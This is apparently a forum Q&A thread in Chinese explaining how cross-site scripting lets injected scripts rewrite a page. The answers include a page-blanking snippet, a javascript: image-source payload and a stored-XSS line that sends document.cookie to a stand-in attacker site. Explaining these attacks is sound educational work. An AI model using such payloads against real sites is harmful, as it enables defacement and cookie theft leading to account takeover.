代码之家  ›  专栏  ›  技术社区  ›  Magnus

xss:重写html页面的内容?

  •  0
  • Magnus  · 技术社区  · 7 年前

    关于XSS, OWASP states (intro paragraph):

    这些脚本甚至可以重写html页面的内容。

    作为用户,我不能重写facebook.com的内容(除了墙贴、评论等)。这将需要我永久性地改变他们的html文件,这显然是没有特定服务器访问权限的用户所不能做的。

    当我作为一个用户做不到的时候,怎么可能有一个恶意注入的facebook.com脚本,被我的浏览器执行,重写facebook.com的内容呢?

    2 回复  |  直到 7 年前
        1
  •  2
  •   Brad    7 年前

    作为用户,我不能重写facebook.com的内容

    如果facebook不能很好地防范xss,你就可以。不转义用户生成的文本以便在HTML上下文中使用的站点易受将任意脚本注入页面的攻击。你的facebook帖子可能包含 <script> 例如,标记。

    这将需要我永久性地改变他们的html文件,这显然是没有特定服务器访问权限的用户所不能做的。

    不,您可以在加载恶意脚本后简单地修改页面客户端。不需要实际修改原始页面就可以消除页面。例如:

    document.body.innerHTML = '';
    
        2
  •  1
  •   Eugene Primako    7 年前

    让我举个例子。假设facebook允许用户在用户的个人资料中保存到外部托管的avatar的链接。这个化身显示在用户的昵称附近。另外,让我们想象一下facebook并没有保护自己免受xss的攻击(它确实做到了,但我们需要这个假设)。

    然后攻击者可以使用这样的文本而不是化身链接:

    javascript:alert('You are hacked')
    

    Facebook显示虚拟形象的HTML代码可能如下:

    <img src="javascript:alert('You are hacked')"></img>
    

    当攻击者打开他的个人资料时,就会看到这个警报。看起来不是很危险吧?

    但要注意:Facebook有一个新闻源。让攻击者写一些帖子-他的所有朋友都会在他们的新闻提要页面上看到警报。

    最后确定:而不是 alert 攻击者将能够获取用户的Facebook cookies并将其发送到攻击者的站点:

    <script>window.location = 'attackerssite.com?cookie=' + document.cookie</script>
    

    然后他会从服务器的访问日志中收集受害者的cookies。现在真的很危险,你同意吗?

    注意 是的。在这里我描述了 stored XSS :它可能是最危险的xss类型,可以同时影响许多用户。其他类型的xss(在这个问题的其他答案中描述)可能会影响当前用户,但这并不意味着它们不危险:例如,它们也可以窃取用户的cookies。